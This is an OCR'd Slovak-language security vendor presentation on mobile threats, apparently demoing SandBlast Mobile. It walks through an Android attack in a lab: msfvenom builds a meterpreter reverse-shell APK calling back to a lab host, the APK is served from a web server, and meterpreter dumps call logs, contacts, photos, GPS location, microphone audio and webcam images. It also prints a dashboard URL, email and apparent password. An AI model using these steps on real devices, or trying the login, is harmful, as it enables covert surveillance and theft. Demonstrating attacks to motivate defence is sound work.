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e Kto pouziva Android OS?
e Kedy ste inStalovali bezpec¢nostné zaplaty?

e Kto inStaloval aplikacie z APK?
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Mobilné utoky

Kazda firma uz zazila mobilny utok
Nemusite o tom vediet
“Enterprise mobility” je v hladaciku a pod drobnohladom

VSetky regiony a vSetky firemné odvetvia, nielen USA

SANDBLAST



Mobilné zariadenia vo
firemmnom prostredi

Firemné zariadenia versus BYOD
Vo firemnych sietach root-nuté a jailbreak-nuté zariadenia

Man-In-The-Middle via WiFi

iOS nieje imunny, majorita utokov voci Android zariadeniam

SANDBLAST



Smartphone

e Operacny systém
e TCP/IP
e Always Online - 3G/LTE

o WiFI
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PO kompromitovani

Pristup k sukromnym a pracovnym datam
Subory ulozené na disku alebo v Cloud-e

Mikrofon/Kamery

Geolokalizacia - GPS suradnice

Pristup k mailom, SMS spravam, historii
volani, etc... HOW TO TELL IF

Pristup k firemnej komunikacii a heslam n]Aug EHEUENIG o

Pristup k Internet Bankingu HACKED




Vytvorenie malware
payload-u

* Metasploit Framework
e msfvenom - generovanie Skodliveho kodu (payload-u)

» msfvenom -p android/meterpreter/reverse_tcp
LHOST=172.16.42.42 LPORT=4567 R > /root/malware.apk

e |HOST - adresa utocnika

e PORT - ¢islo portu kde pocuva reverse shell



Upload payload-u

e Nakopirujeme malware

e scp malware.apk root@172.16.42.1:/www/m.akp

e Nastavenia pre webserver

location ~x \.apk$ { u

default_type application/vnd.android.package—-archive;

add_header Content-Type application/ B
vnd.android.package—archive;

add_header Content-Disposition "attachment",
’



mailto:root@172.16.42.1

Priprava Metasplolt
Framework-u

* Nastavenie Metasploit v Linux-e
* use exploit/multi/handler

* set payload android/meterpreter/reverse_tcp

set LHOST 172.16.42.42

set LPORT 4567

set VERBOSE true

e Exploit spustime prikazom “run”

x] Started reverse TCP handler on 172.16.42.42:4567
%] Sending stage (70031 bytes) to 172.16.42.182

%] Meterpreter session 2 opened (172.16.42.42:4567 —>
172.16.42.182:38707) at 2018-05-24 16:41:58 +0200




Demo - Priprava zariadeni

Povolime inStalaciu aplikacii z neznamych zdrojov
Vytvorime fotky

Prihlasime zariadenia do Gmail D
Vytvorime kontakt

Na jedno zariadenie nainstalujem aj SandBlast Mobile



Demo - Priprava zariadeni

e Pripojime telefony do WiFi siete
e Nainstalujeme a spustime zaskodnicku aplikaciu
e http://172.16.42.1/m.apk

e Skontrolujeme SandBlast Mobile




/akladné informacie

e Datum a Cas

e |ocaltime

meterpreter > localtime
Local Date/Time: 2018-06-05 13:37:27 GMT+02:00 (UTC+0200)

e Navigacia po suborovom systéme

e |s, pwd, cd

meterpreter > pwd
/data/user/0/com.metasploit.stage/files

meterpreter > 1s
Listing: /storage/emulated/@/DCIM/Camera



Systémové informacie

e |nformacie o systéme

e sysinfo

meterpreter > sysinfo
Computer : localhost

0S : Android 6.0.1 - Linux 3.10.49-10808387 (armv71)
Meterpreter : dalvik/android

e Kontrola root-u zariadenia

e check root

meterpreter > check_root
[*x] Device is not rooted



/0znam hovorov

e dump_calllog

meterpreter > dump_calllog
[x] Fetching 1 entry
[*] Call log saved to calllog_dump_20180605134400.txt

Date: 2018-06-05 13:44:00 +0200
0S: Android 6.0.1 - Linux 3.10.49-10808387 (armv71)
Remote IP: 172.16.42.114
Remote Port: 50184

#1
Number : 112
Name : null

Date : Tue Jun 05 13:43:56 GMT+02:00 2018
Type : OUTGOING
Duration: 0



/0znam kontaktov

e dump_contacts

meterpreter > dump_contacts
[x] Fetching 2 contacts into list
[%x] Contacts list saved to: contacts_dump_20180605133804.txt

Date: 2018-06-05 13:38:05 +0200
0S: Android 6.0.1 - Linux 3.10.49-10808387 (armv71)
Remote IP: 172.16.42.114
Remote Port: 50184

#1
Name : Kontaktl
Number : 0905905905



Fotografie

e Adresar s fotkami sa Standartne nachadza v ceste
e cd /mnt/sdcard/DCIM/Camera

 download subor.jpg

meterpreter > cd /mnt/sdcard/DCIM/Camera
meterpreter > 1s

Listing: /storage/emulated/0/DCIM/Camera

100666/ rw—rw—rw— 2375129 fil 2018-06-05 13:35: 32 +020@

20180605_133532. jpg ‘Y'
meterpreter > download 20180605_133526. jpg

[x] Downloading: 20180605_133526.jpg —> 20180605_133526.jpg

[*] Downloaded 2.58 MiB of 2.58 MiB (100.0%):
20180605_133526.jpg —> 20180605 _133526.jpg
[*x] download 1 20180605 _133526.jpg —> 20180605 133526.jpg



| okalizovanie zariadenia

* geolocate

meterpreter > geolocate

[%] Current Location:
Latitude: 48.1632904
Longitude: 17.1782779

To get the address: https://maps.googleapis.com/maps/api/
geocode/json?latlng=48.1632904,17.1782779&sensor=true




/Zaznam Audio

e \/zdialené nahravanie zvuku

e record mic -d 20

meterpreter > record_mic -d 20

[x] Starting...

[x] Stopped

Audio saved to: /root/GJInNiRM.wav




/aznam Obrazu

e \ypis a kontrola dostupnych kamier na zariadni

e webcam list

meterpreter > webcam_list
1: Back Camera
2: Front Camera

e Zachytenie obrazu

e webcam_snap

meterpreter > webcam_snap

x] Starting...

+] Got frame

*x] Stopped

Webcam shot saved to: /root/NblMQfyv.jpeg




/iVy prenos

e Mozny priamy prenos zo zariadenia

e webcam stream

meterpreter > webcam_stream

%] Starting...

%] Preparing player...

%] Opening player at: OXRjvjbj.html
x] Streaming..




Co na to SandBlast Mobile
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Co na to SandBlast Mobile
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SandBlast Mobile
Dashboarad

e https://sandblastmobile123.eul.locsec.net/

e juraj_belko@tempest.sk

e Demo123@

mgg’{'wabile Dashbcard Lvents & alerts  Device Risk 105 Profiles App Analysis  Network  Devices  Settings jura_belko@rtempestsk 8 B



https://sandblastmobile123.eu1.locsec.net/

Dakujem za pozornost




